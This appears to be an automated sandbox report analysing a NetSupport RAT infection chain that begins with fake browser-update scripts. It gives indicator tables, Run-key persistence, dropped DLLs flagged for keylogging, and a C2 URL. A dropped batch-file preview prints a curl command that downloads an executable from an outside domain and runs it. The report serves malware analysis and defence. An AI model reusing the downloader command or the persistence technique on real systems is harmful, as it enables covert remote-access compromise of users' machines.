Excluded domains from analysis (whitelisted): www.bing.com, prdv4a.aadg.msidentity.com, login.live.com, dual-a-0001.a-msedge.net, www-bing-com.dual-a-0001.a-msedge.net, www.tm.v4.a.prd.aadg.trafficmanager.net, ctldl.windowsupdate.com, www-www.bing.com.trafficmanager.net, login.msa.msidentity.com, www.tm.lg.prod.aadmsa.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
10:46:28	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run CachedX C:\ProgramData\client32.exe
10:46:38	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run CachedX C:\ProgramData\client32.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.127.230.147	Browser_update16.0.5836.js	Get hash	malicious	Unknown	Browse
	Chrome_update.js	Get hash	malicious	Unknown	Browse
	sett.bat	Get hash	malicious	Unknown	Browse
	Browser_update16.0.5836.js	Get hash	malicious	Unknown	Browse
	Chrome_update.js	Get hash	malicious	Unknown	Browse
94.158.247.23	Browser_update16.0.5836.js	Get hash	malicious	Unknown	Browse	http://94.158.247.23/fakeurl.htm
	Chrome_update.js	Get hash	malicious	Unknown	Browse	http://94.158.247.23/fakeurl.htm
	Browser_update16.0.5836.js	Get hash	malicious	Unknown	Browse	http://94.158.247.23/fakeurl.htm
	Chrome_update.js	Get hash	malicious	Unknown	Browse	http://94.158.247.23/fakeurl.htm

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
geography.netsupportsoftware.com	Browser_update16.0.5836.js	Get hash	malicious	Unknown	Browse	62.172.138.67
	Chrome_update.js	Get hash	malicious	Unknown	Browse	62.172.138.8
	Browser_update16.0.5836.js	Get hash	malicious	Unknown	Browse	51.142.119.24
	Chrome_update.js	Get hash	malicious	Unknown	Browse	62.172.138.67
	8xW3tocJ6B.exe	Get hash	malicious	Unknown	Browse	62.172.138.67
	5r5RuD1r4x.exe	Get hash	malicious	Unknown	Browse	51.142.119.24
	jqCED7njWa.exe	Get hash	malicious	Unknown	Browse	62.172.138.8
	EN-localer.hta	Get hash	malicious	Cobalt Strike, NetSupport RAT	Browse	51.142.119.24
	RNdbR3uRmZ.exe	Get hash	malicious	Unknown	Browse	62.172.138.67
	local-EN.hta	Get hash	malicious	Cobalt Strike, NetSupport RAT	Browse	62.172.138.67
	shdeulerinstall.lnk	Get hash	malicious	NetSupport RAT	Browse	62.172.138.67
	BP6R1D2cOd.exe	Get hash	malicious	Unknown	Browse	62.172.138.8
	bRGk8rpf6M.exe	Get hash	malicious	Unknown	Browse	62.172.138.67
	tqWIHaQ2EZ.exe	Get hash	malicious	Unknown	Browse	62.172.138.67
	mitljPgJ0K.exe	Get hash	malicious	Unknown	Browse	51.142.119.24
	sq36TjF9Sk.exe	Get hash	malicious	Nymaim	Browse	62.172.138.67
	yOUWkF8AHi.exe	Get hash	malicious	Unknown	Browse	62.172.138.67
	Ae8DId1ZVs.exe	Get hash	malicious	Unknown	Browse	62.172.138.8
	tUUPQygorhzFkIcHuB.bat	Get hash	malicious	Unknown	Browse	62.172.138.67

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
DHUBRU	Browser_update16.0.5836.js	Get hash	malicious	Unknown	Browse	185.9.147.166
	Chrome_update.js	Get hash	malicious	Unknown	Browse	188.127.230.147
	sett.bat	Get hash	malicious	Unknown	Browse	188.127.230.147
	Browser_update16.0.5836.js	Get hash	malicious	Unknown	Browse	185.9.147.166
	Chrome_update.js	Get hash	malicious	Unknown	Browse	188.127.230.147
	Chrome_update.js	Get hash	malicious	Unknown	Browse	152.89.218.150
	Chrome_update.js	Get hash	malicious	Unknown	Browse	152.89.218.150
	http://itsdigitalshiva.com	Get hash	malicious	Unknown	Browse	185.9.147.166
	https://altiordp.com/cdn-js/wds.min.php	Get hash	malicious	Unknown	Browse	188.127.225.232
	tUUPQygorhzFkIcHuB.bat	Get hash	malicious	Unknown	Browse	188.127.225.160
	VjFeSeLhGMruZwwyqsIvUMXvstQqpgFfbYh.bat	Get hash	malicious	Unknown	Browse	188.127.225.160
	2_1.bat	Get hash	malicious	Unknown	Browse	188.127.225.160
	2.bat	Get hash	malicious	Unknown	Browse	188.127.225.231
	KjMLNNlbSwRjEriciGnpqBNGGsSj.bat	Get hash	malicious	Unknown	Browse	188.127.225.231
	sett.bat	Get hash	malicious	Unknown	Browse	188.127.225.231
	h60FUiSRcC.js	Get hash	malicious	Unknown	Browse	188.127.225.160
	2.bat	Get hash	malicious	Unknown	Browse	188.127.225.160
	sett.bat	Get hash	malicious	Unknown	Browse	188.127.225.160
	h60FUiSRcC.js	Get hash	malicious	Unknown	Browse	188.127.225.160

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
74954a0c86284d0d6e1c4efefe92b521	4496iKzQhkhlziKzdxfRihzUykrn.exe	Get hash	malicious	Unknown	Browse	188.127.230.147
	telegram_cxcLf.exe	Get hash	malicious	Unknown	Browse	188.127.230.147
	CKlO7ANp5J.exe	Get hash	malicious	Unknown	Browse	188.127.230.147
	MoQlNbG9Iu.exe	Get hash	malicious	Unknown	Browse	188.127.230.147
	http://104.156.149.33/yes/4496EOhNFImHEZOIsrnCCTmYaysV.exe	Get hash	malicious	Unknown	Browse	188.127.230.147
	xE5YAGNf32.exe	Get hash	malicious	Unknown	Browse	188.127.230.147
	4496yadFrkdEQvwtHRSKqHgKoxcR.exe	Get hash	malicious	Unknown	Browse	188.127.230.147
	4496RblOFsNJdDaJeTwxMQgThDNQ.exe	Get hash	malicious	Unknown	Browse	188.127.230.147
	4496HaJToXTUiHZgpIZcsxRYvNdc.exe	Get hash	malicious	Unknown	Browse	188.127.230.147
	3QVHHFjUJc.exe	Get hash	malicious	Unknown	Browse	188.127.230.147
	4496KGGgbfxxxSUnmAskrOYXvmsJ.exe	Get hash	malicious	Unknown	Browse	188.127.230.147
	4496BSHYhOUsAxLXFIBckeWqWQMZ.exe	Get hash	malicious	Unknown	Browse	188.127.230.147
	4496PUkFDOiERwmVwxlBPrDrmQbX.exe	Get hash	malicious	Unknown	Browse	188.127.230.147
	4496lQRGuRPwOlVqqYBOOAAZQrqy.exe	Get hash	malicious	Unknown	Browse	188.127.230.147
	4496TmGAmszliFaJddlAQYLYCUMW.exe	Get hash	malicious	Unknown	Browse	188.127.230.147
	4496bTTgaeQLdnjcSQxQcPevcQrl.exe	Get hash	malicious	Unknown	Browse	188.127.230.147
	4496ArTjWWSnZWVikWxVAaxkSJla.exe	Get hash	malicious	Unknown	Browse	188.127.230.147
	ATT00001.htm	Get hash	malicious	Unknown	Browse	188.127.230.147
	Driver_Booster_19_02_23_to_msi.msi	Get hash	malicious	Unknown	Browse	188.127.230.147

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\7z.bat

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	5.322433232277889
Encrypted:	false
SSDEEP:	6:CxBR2RcN23f7fFlCe8UlLAHbKx4/mWB1RcN23fmvn:cnXgDfFADC0veNg+v
MD5:	3525AEDBCCC13E45AE01D2C7C320DBAD
SHA1:	24183009E923947FAB08285D7FE48CDC886ADDE4
SHA-256:	B05C7FB6B0127FE72CF96A782F46B82AF5116D04CC373C7DAF90AA296044467A
SHA-512:	C83CBBB887E7155AEDE7D71C7EEEAA03E36E392DA7561B35F46499677CA4D541B59BE52B7C35D730876A7EEEA07ED4D7762FD95A631CA104F0F7B7609054A1E9
Malicious:	false
Preview:	if not exist "C:\Users\user\AppData\Local\Temp/7zz.exe" ( curl -k "https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe" -o "C:\ProgramData\7zz.exe" ) .."C:\Users\user\AppData\Local\Temp/7zz.exe"..

C:\ProgramData\7zz.exe

Process:	C:\Windows\System32\curl.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	587776
Entropy (8bit):	6.439962628647099
Encrypted:	false
SSDEEP:	12288:myyKdVnyNhXCV4EkP7AIfzNXZ0b5NrnkcAqIV0A1caRI:mKvyNhXCV4E8BXAfrnkcAqU0A
MD5:	42BADC1D2F03A8B1E4875740D3D49336
SHA1:	CEE178DA1FB05F99AF7A3547093122893BD1EB46
SHA-256:	C136B1467D669A725478A6110EBAAAB3CB88A3D389DFA688E06173C066B76FCF
SHA-512:	6BC519A7368EE6BD8C8F69F2D634DD18799B4CA31FBC284D2580BA625F3A88B6A52D2BC17BEA0E75E63CA11C10356C47EE00C2C500294ABCB5141424FC5DC71C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......}.rR9p..9p..9p..Bl..;p...l.. p...V..[p...xC.8p..9p...p...xA.>p...V...p..V....p..V...;p...v..8p..Rich9p..................PE..L....S.L............................L.............@.........................................................................\...P.......(...............................................................................P............................text............................... ..`.rdata..............................@..@.data............l..................@....sxdata.............................@....rsrc...(...........................@..@................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CacheURL.dat

Process:	C:\ProgramData\7zz.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	48
Entropy (8bit):	4.448934896284057
Encrypted:	false
SSDEEP:	3:N8YW2TdBLESqNXLEXNCv:2YLTdB6NgXS
MD5:	39F6D8FA3BD905E03B0CC8CC16707E2B
SHA1:	872DCC92BFF8F52A8F6BD1905F959C991C607472
SHA-256:	54B920F5B87019FCF313BEC4D9F4639A932B8268E5183B29804E91E29ED6F726
SHA-512:	B9C726C0164AAB96D53795202C95591285FAAE8D882E0F0B6601189011C085349969ADF484947F0CBC64966A4A6593F483B8A32E9778E741D24519CF17D04B1E
Malicious:	false
Preview:	https://magydostravel.com/cdn/zwmrqqgqnaww.php..

C:\ProgramData\HTCTL32.DLL

Process:	C:\ProgramData\7zz.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	328056
Entropy (8bit):	6.7547459359511395
Encrypted:	false
SSDEEP:	6144:Hib5YbsXPKXd6ppGpwpbGf30IVFpSzyaHx3/4aY5dUilQpAf84lH0JYBAnM1OKB:Hib5YbsXioEgULFpSzya9/lY5SilQCfR
MD5:	C94005D2DCD2A54E40510344E0BB9435
SHA1:	55B4A1620C5D0113811242C20BD9870A1E31D542
SHA-256:	3C072532BF7674D0C5154D4D22A9D9C0173530C0D00F69911CDBC2552175D899
SHA-512:	2E6F673864A54B1DCAD9532EF9B18A9C45C0844F1F53E699FADE2F41E43FA5CBC9B8E45E6F37B95F84CF6935A96FBA2950EE3E0E9542809FD288FEFBA34DDD6A
Malicious:	false
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\ProgramData\HTCTL32.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ ...A...A...A.......A...9...A...A..gA....1..A....0.A.......A.......A.......A..Rich.A..........PE..L.....V...........!.................Z.......................................P......._....@......................... ...k....y..x.......@...............x).......0..................................._..@............................................text............................... ..`.rdata..............................@..@.data....f.......(...v..............@....rsrc...@...........................@..@.reloc..b1.......2..................@..B........................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HTML_Obj_list.txt

Process:	C:\ProgramData\7zz.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	298
Entropy (8bit):	4.25628025837569
Encrypted:	false
SSDEEP:	6:0MUIbLESrO4ywjsKVw1ASywzJHI3Sc8klIoAhHFN1zNseIR3VwWzt3YYn:0M+74+KAAObelqrU1YYn
MD5:	3FA98AC589AC2B284F4D625A620D66BC
SHA1:	6E473A2A0C95367A61AB98AAD4472577246E42F0
SHA-256:	D9AE5DC5F2C4964C1E7BA3BE64CBA37F3043484DB9056D3A828102275D7D4101
SHA-512:	FA4BB059BFB9305CBB0DA36B8AE51ACD3EBC151616FBD711494A3F60353C915BE947F24AF81145920F6F4AE234712B6F5223A630E3C1748B2D8E79A3D648BAD0
Malicious:	false
Preview:	<script;>;</script>.. onLoad;";".. onunload;";".. onchange;";".. onsubmit;";".. onreset;";".. onselect;";".. onblur;";".. onfocus;";".. onkeydown;";".. onkeypress;";".. onkeyup;";".. onclick;";".. ondblclick;";".. onmousedown;";".. onmousemove;";".. onmouseout;";".. onmouseover;";".. onmouseup;";"

C:\ProgramData\NSM.LIC

Process:	C:\ProgramData\7zz.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	258
Entropy (8bit):	5.1458289587885675
Encrypted:	false
SSDEEP:	6:O/oPDvXk4xRPjwx3LzX81DKHMoEEjLgpW2MorGLUfKdYpPM/ioxTKa8l6i7s:X7XZR7wx3LzXBJjjqW2M23KKPM/iox7X
MD5:	1B41E64C60CA9DFADEB063CD822AB089
SHA1:	ABFCD51BB120A7EAE5BBD9A99624E4ABE0C9139D
SHA-256:	F4E2F28169E0C88B2551B6F1D63F8BA513FEB15BEACC43A82F626B93D673F56D
SHA-512:	C97E0EABEA62302A4CFEF974AC309F3498505DD055BA74133EE2462E215B3EBC5C647E11BCBAC1246B9F750B5D09240CA08A6B617A7007F2FA955F6B6DD7FEE4
Malicious:	false
Preview:	1200..0xa353ff01....; NetSupport License File...; Generated on 14:45 - 17/07/2022........[[Enforce]]....[_License]..control_only=0..expiry=..inactive=0..licensee=HANEYMANEY..maxslaves=8888..os2=1..product=10..serial_no=NSM385736..shrink_wrap=0..transport=0..

C:\ProgramData\NSM.ini

Process:	C:\ProgramData\7zz.exe
File Type:	Generic INItialization configuration [Features]
Category:	dropped
Size (bytes):	6458
Entropy (8bit):	4.645519507940197
Encrypted:	false
SSDEEP:	96:B6pfGAtXOdwpEKyhuSY92fihuUhENXh8o3IFhucOi49VLO9kNVnkOeafhuK7cwo4:BnwpwYFuy6/njroYbe3j1vlS
MD5:	88B1DAB8F4FD1AE879685995C90BD902
SHA1:	3D23FB4036DC17FA4BEE27E3E2A56FF49BEED59D
SHA-256:	60FE386112AD51F40A1EE9E1B15ECA802CED174D7055341C491DEE06780B3F92
SHA-512:	4EA2C20991189FE1D6D5C700603C038406303CCA594577DDCBC16AB9A7915CB4D4AA9E53093747DB164F068A7BA0F568424BC8CB7682F1A3FB17E4C9EC01F047
Malicious:	false
Preview:	..[General]..ClientParams=..CLIENT32=..Installdir=..NOARP=..SuppressAudio=......[Features]..Client=1..Configurator=..Control=..Gateway=..PINServer=..RemoteDeploy=..Scripting=..Student=..TechConsole=..Tutor=......[StartMenuIcons]..ClientIcon=..ConfigIcon=..ControlIcon=..RemoteDeployIcon=..ScriptingIcon=..TechConsoleIcon=..TutorIcon=......[DesktopIcons]..ControlDeskIcon=..TechConsoleDeskIcon=..TutorDeskIcon=............; This NSM.ini file can be used to customise the component selections when performing a silent installation of the product.....; Client=<1/Blank>..; e.g...; Client=1..; Controls whether the client component is installed (1) on the target machine or not (Blank)..;....; CLIENT32=<blank/not blank>..; e.g...;. CLIENT32=..;. Setting this to anything causes the Client Service (if installed) to be set to manual start rather than automatic..;....; ClientIcon=<1/Blank>..; e.g...; ClientIcon=1..; Controls whether shortcut icons are placed on t

C:\ProgramData\PCICHEK.DLL

Process:	C:\ProgramData\7zz.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18808
Entropy (8bit):	6.292094060787929
Encrypted:	false
SSDEEP:	192:dogL7bo2t6n76RRHirmH/L7jtd3hfwjKd3hfwB7bjuZRvI:dogL7bo2YrmRTAKT0iTI
MD5:	104B30FEF04433A2D2FD1D5F99F179FE
SHA1:	ECB08E224A2F2772D1E53675BEDC4B2C50485A41
SHA-256:	956B9FA960F913CCE3137089C601F3C64CC24C54614B02BBA62ABB9610A985DD
SHA-512:	5EFCAA8C58813C3A0A6026CD7F3B34AD4FB043FD2D458DB2E914429BE2B819F1AC74E2D35E4439601CF0CB50FCDCAFDCF868DA328EAAEEC15B0A4A6B8B2C218F
Malicious:	false
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\ProgramData\PCICHEK.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Yu....i...i...i.......i..Z...i.......i......i......i..l....i...h.~.i......i......i......i.......i.Rich..i.................PE..L....A.W...........!......................... ...............................`.......U....@.........................@#..r...h!..P....@............... ..x)...P......P ............................... ..@............ ..D............................text............................... ..`.rdata....... ......................@..@.data........0......................@....rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................

C:\ProgramData\PCICL32.DLL

Process:	C:\ProgramData\7zz.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3740024
Entropy (8bit):	6.527276298837004
Encrypted:	false
SSDEEP:	49152:0KJKmPEYIPqxYdoF4OSvxmX3+m7OTqupa7HclSpTAyFMJa:0KJ/zIPq7F4fmXO8u6kS+y/
MD5:	D3D39180E85700F72AAAE25E40C125FF
SHA1:	F3404EF6322F5C6E7862B507D05B8F4B7F1C7D15
SHA-256:	38684ADB2183BF320EB308A96CDBDE8D1D56740166C3E2596161F42A40FA32D5
SHA-512:	471AC150E93A182D135E5483D6B1492F08A49F5CCAB420732B87210F2188BE1577CEAAEE4CE162A7ACCEFF5C17CDD08DC51B1904228275F6BBDE18022EC79D2F
Malicious:	false
Yara Hits:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: C:\ProgramData\PCICL32.DLL, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\ProgramData\PCICL32.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........J.>N+.mN+.mN+.m.eAmL+.mU.Gmd+.m!]rmF+.mU.EmJ+.mGSZmA+.mGS]mO+.mGSJmi+.mN+.m.(.mU.rm.+.mU.sm.+.mU.BmO+.mU.CmO+.mU.DmO+.mRichN+.m........................PE..L......X...........!.....(...$ .............@................................9.....Y.9.............................p................p................8.x)...`7.p....Q.......................c......@c..@............@..(.......`....................text...l'.......(.................. ..`.rdata..s....@.......,..............@..@.data....%... ......................@....tls.........P......................@....hhshare.....`......................@....rsrc........p......................@..@.reloc...3...`7..4....6.............@..B................................................................................................................................................................................................

C:\ProgramData\PScripts\insert_delimiter.pscript

Process:	C:\ProgramData\7zz.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	1286
Entropy (8bit):	3.2151299174173276
Encrypted:	false
SSDEEP:	24:QesElfxUbrVQwd8fYLAgcti3fwTONDKA2tCO4YTONQO2ONDIc4TWoV:LdxUbZ7Jc8fwTOgvv4YTOp2OCcGV
MD5:	3C0C93F687DCE4D43BDB60237BBD0B54
SHA1:	D66CA3BC8AD49532ECD1B22241650C24DE801BA7
SHA-256:	4B460FDE39403B5FC251388363565BDCF4B3EB1FD23873154EFE61E6FC482042
SHA-512:	06614A9C48B904D616AC2B60A9DF06ECA67A0EAB15A700563D98B10CB0F0461C0F978EC4289328AEAD6561226DF1391E973B8D1C1EA58822F6CF57183F525A33
Malicious:	false
Preview:	..{.....I.n.s.e.r.t. .a. .d.e.l.i.m.i.t.e.r. .a.t. .e.v.e.r.y. .n.-.t.h. .p.o.s.i.t.i.o.n.....}.........v.a.r..... . .i.:. .i.n.t.e.g.e.r.;..... . .j.:. .i.n.t.e.g.e.r.;..... . .k.:. .i.n.t.e.g.e.r.;..... . .d.:. .s.t.r.i.n.g.;. ././. .i.n.p.u.t. .b.u.f.f.e.r..... . .s.:. .s.t.r.i.n.g.;. ././. .o.u.t.p.u.t. .b.u.f.f.e.r..... . .d.l.m.t.:. .s.t.r.i.n.g.;..... . .s.t.e.p.:. .i.n.t.e.g.e.r.;.....b.e.g.i.n..... . ..... . .s.t.e.p. .:.=. .4.;..... . .i. .:.=. .0.;. ././. .o.f.f.s.e.t..... . .d.l.m.t. .:.=. .'.%.u.'.;..... . ..... . .d. .:.=. .R.e.a.d.D.o.c.;..... . .s. .:.=. .'.'.;..... . .j. .:.=. .l.e.n.g.t.h.(.d.).;..... . .w.h.i.l.e. .i. .<. .j. .d.o..... . .b.e.g.i.n..... . . . .s. .:.=. .s. .+. .d.l.m.t.;. ././. .i.n.s.e.r.t. .d.e.l.i.m.i.t.e.r. .b.e.f.o.r.e. .d.a.t.a. .m.e.m.b.e.r..... . . . .f.o.r. .k. .:.=. .1. .t.o. .s.t.e.p. .d.o..... . . . .b.e.g.i.n..... . . . . . .i.f. .(.i. .+. .k.). .<.=. .l.e.n.g.t.h.(.d.). .t.h.e.n..... . . . . . .s. .:.=. .s. .+. .d.[.i. .+. .k.].;..... .

C:\ProgramData\PScripts\rot-13.pscript

Process:	C:\ProgramData\7zz.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	1274
Entropy (8bit):	3.358913269584849
Encrypted:	false
SSDEEP:	24:Qe9J9qno9H6/oqspi7lk+ejGeIYelmpoO67SrZetYelJoO672ZeoYel0oO67SrZj:LD9wC6/VsGlk+sH6JH63H6JH6d
MD5:	AC1CD856F434464D3F68465061171D0A
SHA1:	57AE543F84214CF00576DB15BD24D2E1F3BD4768
SHA-256:	2E4BD5557AEDD1743DA5FAB1B6995FBC447D6E9491D9EC59FA93AB889D8BCCD1
SHA-512:	6348F2C1DD131231F041B5E59BB83EB7E337C93799A955DF66FB077DC3B91659263CF8780BC7A6A007008155CC2C83B0AB1AC145ABCA2A8FA7D3500AF46D1A49
Malicious:	false
Preview:	..{.....R.O.T. .1.3.....}.....v.a.r..... . .S.t.r.L.e.n.,. .i.,. .c.h.a.r.N.u.m. .:. .W.o.r.d.;..... . .I.n.p.u.t.,. .o.u.t.p.u.t.:. .s.t.r.i.n.g.;.....b.e.g.i.n..... . .I.n.p.u.t. .:.=. .R.e.a.d.D.o.c.;..... . .O.u.t.p.u.t. .:.=. .'.'.;..... . .S.t.r.L.e.n. .:.=. .L.e.n.g.t.h.(.I.n.p.u.t.).;......... . .f.o.r. .i.:.=. .1. .t.o. .S.t.r.L.e.n. .d.o..... . .b.e.g.i.n..... . . . .i.f. .(.I.n.p.u.t.[.i.]. .>.=. .'.A.'.). .a.n.d. .(.I.n.p.u.t.[.i.]. .<.=. .'.M.'.). .t.h.e.n..... . . . . . .I.n.p.u.t.[.i.]. .:.=. .c.h.r.(.o.r.d.(.I.n.p.u.t.[.i.].). .+. .1.3.)..... . . . .e.l.s.e..... . . . .i.f. .(.I.n.p.u.t.[.i.]. .>.=. .'.N.'.). .a.n.d. .(.I.n.p.u.t.[.i.]. .<.=. .'.Z.'.). .t.h.e.n..... . . . . . .I.n.p.u.t.[.i.]. .:.=. .c.h.r.(.o.r.d.(.I.n.p.u.t.[.i.].). .-. .1.3.)..... . . . .e.l.s.e..... . . . .i.f. .(.I.n.p.u.t.[.i.]. .>.=. .'.a.'.). .a.n.d. .(.I.n.p.u.t.[.i.]. .<.=. .'.m.'.). .t.h.e.n..... . . . . . .I.n.p.u.t.[.i.]. .:.=. .c.h.r.(.o.r.d.(.I.n.p.u.t.[.i.].). .+. .1.3.)..... . . . .e.l.

C:\ProgramData\Settings.txt

Process:	C:\ProgramData\7zz.exe
File Type:	Generic INItialization configuration [en]
Category:	dropped
Size (bytes):	729
Entropy (8bit):	5.161224970148946
Encrypted:	false
SSDEEP:	12:Sx425viDEWeQrCISTiS/RQDIYm1S8Cye07xWXgeVWBmmeAFm7Vp67WpAny:SN5viDdrtSOSu0YYTNkWQaaVw7WGy
MD5:	BCCC9E937D8D72A12743D75A6B396A34
SHA1:	7AC820493A357F17230CDCEEF37C69BF2510AB5C
SHA-256:	8CB0F6D438DB151ED507299A64031B5C957141CFC632ACE95B9135168E0FD121
SHA-512:	F9A42E7CCF3DF6D99846E8B05FE21C4D5CAFDFC24F97C0EEFBAE1E27B674E637FEAAE86A52E680A12A074AE695CD2E80FC8E5588AD46063B3ADBB4A6CB9D5CE2
Malicious:	false
Preview:	[Downloader]..UseUserAgent=1..UserAgentString=Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1) Opera 7.50 [en]..UseProxy=0..AutoRedirect=0..AutoReferrer=1..AutoParseLinks=1..UseCookies=1..SaveAsProject=1..AutoComplete=0..URLHistory=1..UseReferrer=1..ExtendedInfo=1..[Decoder]..UseHighlight=1..ReplaceEval=0..ReplaceEvalWith=evla..OverrideEval=0..AutoReplaceEval=0..[Proxy]..Address=..Port=..User=..Pass=..Hidden=1..[Monitor]..Multi=0..[Misc]..ClearClipboard=0..AutoParseLinks=1..ReplaceEval=0..ReplaceEvalWith=evla..AutoReplaceEval=0..ClearCache=1..ClearHistory=0..Language=default.lng..Highlight=1..OverrideEval=1..FontName=Tahoma..FontSize=8..[Display]..Highlight=1..FontName=MS Shell Dlg 2..FontSize=8..AutoFocusDecoder=0..

C:\ProgramData\TCCTL32.DLL

Process:	C:\ProgramData\7zz.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	396664
Entropy (8bit):	6.809064783360712
Encrypted:	false
SSDEEP:	12288:OpwbUb48Ju0LIFZB4Qaza4yFaMHAZtJ4Yew2j/bJa+neNQ:epq7BaGIn4BbLneNQ
MD5:	EAB603D12705752E3D268D86DFF74ED4
SHA1:	01873977C871D3346D795CF7E3888685DE9F0B16
SHA-256:	6795D760CE7A955DF6C2F5A062E296128EFDB8C908908EDA4D666926980447EA
SHA-512:	77DE0D9C93CCBA967DB70B280A85A770B3D8BEA3B707B1ABB037B2826B48898FEC87924E1A6CCE218C43478E5209E9EB9781051B4C3B450BEA3CD27DBD32C7F3
Malicious:	false
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\ProgramData\TCCTL32.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............z..z..z.....z.....z.....z..{.Y.z....K.z......z.....z......z.....z.Rich.z.........PE..L...Y?XV...........!................................................................'.....@.............................o...T...x....0..@...............x)...@..\E..................................`d..@...............h............................text............................... ..`.rdata../...........................@..@.data...h............\|..............@....rsrc...@....0......................@..@.reloc.. F...@...H..................@..B................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\client32.exe

Process:	C:\ProgramData\7zz.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	101680
Entropy (8bit):	4.481468672521447
Encrypted:	false
SSDEEP:	384:qUjV5+6j6Qa86Fkv2Wr120hZIq6nYPL7NheMxnB1:qgVZl6FhWr80/h6EN/
MD5:	F70B67C2B3204B7DDD8B755799CCCFF0
SHA1:	A42E55E328D62D11E687C167BB7049D46F0F9B26
SHA-256:	213AF995D4142854B81AF3CF73DEE7FFE9D8AD6E84FDA6386029101DBF3DF897
SHA-512:	54FCBA8A063BFBAAE4C3A39624BF3407DB6AF5699AB8686F936AB03C5864DF7A44D089066FA2D4AEDF5AD50D6B04624966A5111BF57BEC1DDA74A571F1DD7C63
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\ProgramData\client32.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 12%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............i...i...i.......i..6....i...h...i..6...i..6..i..6....i.Rich..i.........................PE..L...T..U.....................n...... ........ ....@.......................................@.................................< ..<....0...i...........t..0........... ............................................... ...............................text............................... ..`.rdata..V.... ......................@..@.rsrc....i...0...j..................@..@.reloc..l............r..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\client32.ini

Process:	C:\ProgramData\7zz.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	714
Entropy (8bit):	5.272982980469994
Encrypted:	false
SSDEEP:	12:EbxS2h3q+jhGSGpBlsVTXuZ7+DP98XTKIDWss1CYublufN3Bu6a39GJ/:EbI2hFhapBlLoGXuIDvsPuGYT34t
MD5:	A61475B49FEA7E08719A7E8AD1C5D278
SHA1:	60591111A837C93ACF7E32096F43EA704831DA35
SHA-256:	DC020C98ED1D39721AD1F127DC0C04A0735BD47C6B6ECD222683210A601D90DB
SHA-512:	1CDAF447E9E591D44A1DE10453008391EE80EEF3FEC0EC8A6D354C15A9412AD87F7F33ABDF8F7C0F061F6FA70F759CDEB1352B620609B0A6F3E4AF82636D19FC
Malicious:	false
